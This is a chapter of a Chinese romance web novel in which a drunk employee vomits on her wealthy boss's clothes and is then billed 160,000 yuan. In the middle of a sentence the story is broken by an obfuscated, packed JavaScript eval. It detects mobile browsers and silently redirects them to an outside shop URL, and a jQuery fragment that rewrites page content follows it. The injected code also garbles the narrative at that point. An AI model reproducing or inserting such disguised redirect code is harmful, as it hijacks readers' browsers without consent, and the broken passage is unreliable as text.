再一眨眼的工夫，抚摸的动作变成了扯动。
脸上的错愕掩饰不住。
长这么大，谢妄还是第一次被人这样对待。
全然忘记自己一直以来保持的贵公子范，骂人的话呼之欲出。下一秒，啪嗒一声——
今昭直接捏住他的唇，手动闭麦。
还没在震惊之余缓过神来，今昭又捏上他的脸颊，继续往上用力扯。嘴巴呈现一个向上的弧度——手动扯笑。
“嗯，这才是我印象中的谢妄。”
左掐掐右捏捏，短短几十秒的时间，他的表情变化十几种。
下一秒，今昭扯得更甚，恶狠狠道：“让你再在梦里吓我，这次落在我手里了吧。”
今昭脸颊红红的，头发也有些乱，要说用一种动物来形容，那就是——炸了毛的小猫。
“谢总。”早在刚刚助理就在车里看到这幅场景，故意躲在车里，乐呵呵看了好一会儿才过来。
第一次见到老板被人这样对待。
说实话，是有点爽的。
这个工作工资虽高，可要付出的代价一点不少。
二十四小时待命是最基本的。
半夜接到老板的电话起来处理工作是常有的事。
这些都可以忍受。
最痛苦的是，要时刻揣测老板的心思，承受他的坏脾气。
谢妄挣脱她的束缚，没来得及喘口气，今昭彻底昏睡过去，瘫倒在他的怀里。
嗓音的沙哑，脸上的指甲印，皱巴巴的衣服。每一处都是他饱受今昭折磨的证据。
“看什么看，还不快过来把她拉走。”
今晚喝得有点多，手紧紧抓住他的衣袖，助理在身后使劲拉，向后的劲有点大，拉扯间，一个没忍住。
“呕。”
……
吐出来，心里好受许多。
站直身，一只手摸到谢妄的大衣，很顺手的用它擦了擦嘴。也不知道是清醒还是模糊，擦完嘴的今昭旁若无人的，一步两步走到店边蹲下，头埋进膝盖，等成裕来接。
独留一旁呆若木鸡的两人。
……
气氛静默一瞬。
“谢总？”一切发生得太快，完完全全超出助理的所能控制的范畴。
有一点可以确定。
这几天自己别想好过。
谢总的大衣乃至里面的定制款西装多多少少都沾染上呕吐物，画面太过惨不忍睹。
即使闭上眼，也能闻到这并不好闻的气味。
“她……是吐了吗？”
“嗯。”
“吐在了我身上是吗？”
“嗯。”
谢妄深吸一口气，高冷贵公子的形象荡然无存，下颌线绷紧，紧咬牙关，用着最后一丝耐心，一个一个字往外崩，“明天中午之前，我要看到她的道歉和所有衣服的赔款。”
“是，谢总。那今小姐怎么办？留她一个人在这吗？”
“她是你老板还是我是你老板？”
助理有些同情地看了一眼远处昏昏欲睡的今昭，“我知道了，谢总。”
车子就停在不远处。
上车前，谢妄动作一顿。
这车是刚提的。
咬咬牙，紧握拳头，低着头，车窗倒映出他的模样，许久，像是下定某种决心，站在车外脱下大衣西装，只留最里面的内搭毛衣。
沈助理跟着谢妄也有十年，第一次看到老板这狼狈的模样。
小心翼翼地接过所有衣服
坐上车的谢妄道：“拍照，留存证据。”
“好，然后是送洗吗？”
“送洗？”谢妄气笑，咬牙切齿：“扔掉，给我扔的、远、远、的。”
一字一顿，无疑在诉说着此刻的怒火。
“是，谢总。”
车门关上，沈助将所有衣服仔细拍下及录制视频。
证据保留完毕后，正准备把衣服扔到不远处的垃圾桶时，车窗降下，谢妄的脸一半在黑影中，看不清神态。
“今主管还在那？”
那处正好是车内谢妄的视线死角。
沈助探头看了眼，今昭还是那个姿势，整个人摇摇晃晃，“还在那。”
轻咳一声，语气有点不自然：“扔完衣服你去把她交给店家。”
察觉到助理探究的目光，“做什么？”
“谢总，你不大对劲。”
谢妄的眼神飘忽不定，强装镇定，“什么？”
“你可不像是有人情味的人。”话落，谢妄凌厉的视线扫过来，沈助嘴立马闭上。
“沈助理。”
“是。”
“我给你其他助理几倍的工资，不是让你来对我说三道四。”
“是。”
收到今昭的微信时，成裕正在大学里。大学离这有点距离，加上这个时间沪海就没有不堵的路，来得有些迟。
“今昭你还好吗？”成裕蹲下身扶起昏睡的今昭。
听到有人在叫自己，迷迷糊糊睁开眼，看不真切，脸上扬起笑：“谢妄，你来啦。”
成裕的表情僵了一瞬，也只是一瞬间，随即他又恢复温柔地笑，“对啊，我来了。走，我们回车上，外面冷。”右手抚上她的脑袋，轻轻摸了摸，“走得动吗？要不要我背你？”
“要！”没有任何犹豫。
成裕无奈笑了笑，将她扶起来，蹲在她面前，“来吧。”
没有任何犹豫，今昭倒向他的后背，双手搂紧，脑袋往颈窝中蹭。
“好喽，我要走咯。”
正好，与扔完衣服的沈助擦身而过。
沈助没看到人，又四处找找，还是没人，应该是接她的人来了。
回到车上。
“把她交给店家了？”看似是滑动手机时漫不经心地询问。
沈助调试后车镜，“我去的时候沈小姐已经不在那了，问了店家，是被人接走了。”
“嗯。”
沈助理余光不断瞥向后视镜。
“沈助理。”
霎时收回余光，聚精会神看向前方。
“是，谢总。”
“有事就说。”
偷瞄被抓包，沈助理身子不自觉坐得更直，“谢总，今小姐是怎么知道你的？”
高中一毕业，谢妄就去往国外，直到半个月前才回来。国内的这家公司明面上是别人，其实这人只是一个代理，真正的操控者一直都是谢妄。
谢妄隐藏的很好，任何地方都查不到。这也就是他会去聚餐的原因，他很好奇今昭是怎么知道自己的。
“你去查查她的背景。”
“是。”
“沈助理，还有事吗？”
“谢总，车内空调温度需不需要调高？”毕竟你现在身上只有内衣。
当然，这句话，沈助是不敢说的。
谢妄暗灭手机，目光直视后车镜，“沈助理，你还挺细心。”
被夸了，沈助有些不好意思，“谢谢谢总夸奖，关心老板身体是我们助理的职责……”视线不经意对上后视镜里的谢妄。
他的目光凌厉，吓了沈助理一跳，笑容收敛，“对不起，谢总。”
另一头，嗅了嗅他的颈窝，身体一僵，“你不是谢妄，我要下来。”
今昭的双手已经松开，撑着他的肩膀要下来。
成裕脚步一顿，背的更紧，“我是啊，我是谢妄。”
“你不是，你身上味道和他不一样。”
平复好气息，“我是，只不过我换了洗衣液。”
今昭又嗅了嗅，半信半疑，“好吧，我还是喜欢你之前那个味道。”
“之前是什么味道？”
“柠檬味，很好闻的……柠檬味。”
他扯了扯嘴角，嗓音沙哑了几分，“好，我记住了，那我再换回我们今昭最喜欢的……味道。”
没关系。
只要你在我身边就够了。
天刚蒙蒙亮，今昭被尿给憋醒。
睡一觉醒来，意识清醒大半。
早知道不喝这么多了，这还是第一次在外喝断片。
下次再不喝了，头痛欲裂。
扶着脑袋坐起身，全身臭烘烘的，全是酒气。眉眼皱了皱，不能忍受没洗澡就在床上睡觉。
没有任何犹豫，今昭去洗了个澡，还顺便换了床单。
洗完澡出来，头发还在湿漉漉的滴水，边擦头发边拿起手机看了一眼时间，才六点。
视线向下，今昭发觉不对劲，怎么微信这么多条消息。
有种不好的预感。
颤颤巍巍点进去，一个是成裕，一个是张姐，还有一个是好友申请，其他都是工作群的消息。
今昭首先点进张姐。
张姐：刚刚谢总的助理找我要你的电话号码，应该是工作上的事，我就给他了。
还好，是工作上的事。
再点
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17610322|204182||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
进成裕。
成裕：桌子上有醒酒汤，醒了记得喝一点。
哦对，在完全失去意识前，发了信息给成裕让他来接我。
之后的事，完全想不起来。
今昭自认为自己酒品是很好的，不会酒后发疯，也从来没有过酒后发疯。
也没多想。
视线扫过桌子，上面确实有一个保温杯。
通过沈助理的好友申请，切回别的APP，坐在沙发上边刷视频边喝醒酒汤。
今昭没喝过醒酒汤，平常喝多睡一觉就好了。第一次喝，今昭有点犹豫，先是浅浅抿了一口，舔了舔嘴唇，味道好像还不错。
好吧，在成裕面前，今昭承认厨艺方面确实比不过他。
时间来到六点半，今昭觉得有些困，犹豫要不要再回床上躺会时，手机连番的信息提示音赶走了丝丝睡意。
“谁呀，这么早。”
手机拿近，屏幕亮光照应在脸上。
“是沈助理，这么早，有什么是吗？”
嘴上嘀咕着，划开锁屏界面，跳转到微信。
点开——
图片1
图片2
图片3
……
视频1
视频2
……
沈助理：今小姐，以上是你昨天酒后吐在谢总衣服上的证据，谢总希望你能在今天中午十二点之前赔偿他共计十六万元并赔礼道歉，以下是餐厅门口监控摄像头拍下的事情全部过程，和西装大衣的购买发票。
今昭面无表情地一张张点开所有照片视频，看完全部，对方证据充足，无法抵赖。
关键是，从监控里，是我主动去找他、去招惹的他、去扒拉的他。
想死的心都有了。
呵。
十六万。
哈哈哈哈哈哈哈哈哈。
十六万。
把我卖了都没有十六万。
哈哈哈哈哈哈哈哈哈哈哈……
今昭的精神有些不正常。
开始胡言乱语：“他是不是有毛病，穿这么贵的衣服来上班？想死吗？哈哈哈哈哈哈哈哈哈哈哈。好好好，好好好，工作快十年，马上一朝回到解放前。”
……
心脏突突直跳。
“这个世界的谢妄就是个神经病，奶奶的，气死我了。”
倒在沙发上，缓了好久。
今昭拿起手机，发去——沈助理，我想问一下，谢总今天什么时候有时间，我想见他一面。
那边秒回：今天上午八点半，谢总办公室。
随即贴心发来公司地址。
八点半，还有不到两个小时。
今昭急急忙忙收拾好自己，出门前给成裕发去信息，让他不用来接自己。
开车的路上，今昭想了很多办法。
只能先诚恳的和他道歉，看能不能分期免息付款，或者少点钱。
谁叫今昭全身上下，加上微信的零钱，只有十五万，还差一万。
马上月底了，月初还要交房租。
要真的全部给他，直接无家可归。
坐在车内，给张姐发去微信，表示会晚去几个小时。
站在公司楼下，今昭深呼吸好几次。
算了，不管了。
谁怕谁。
今昭给沈助发去信息：沈助理，我在公司大厅，请问谢总办公室在几楼。
这个点，还没到正式上班时间，前台自然是没人的。
那边依旧秒回：16楼，今小姐，你直接坐电梯上来就可以。
叮——
“十六楼到了。”
电梯门缓缓打开。
沈助理已经在电梯前等着，“今小姐，这边请。”
他的态度温和、神情自若，和今昭形成鲜明对比。
今昭跟在后边，努力表现出镇定的样子，眼看办公室门近在眼前。
“沈助理。”今昭叫住他。
沈助理转过身，“今小姐有什么事吗？”
咬咬牙道：“沈助理，谢总应该挺通情达理的吧。”
沈助一眼看透，走近一些，压低声音道：“并不是，谢总是个典型的资本家，而且他……”
“睚眦必报。”
完蛋了……
“今小姐。”他的脸上满是同情，“自求多福吧。”
轰——
心中最后一丝希望彻底破灭。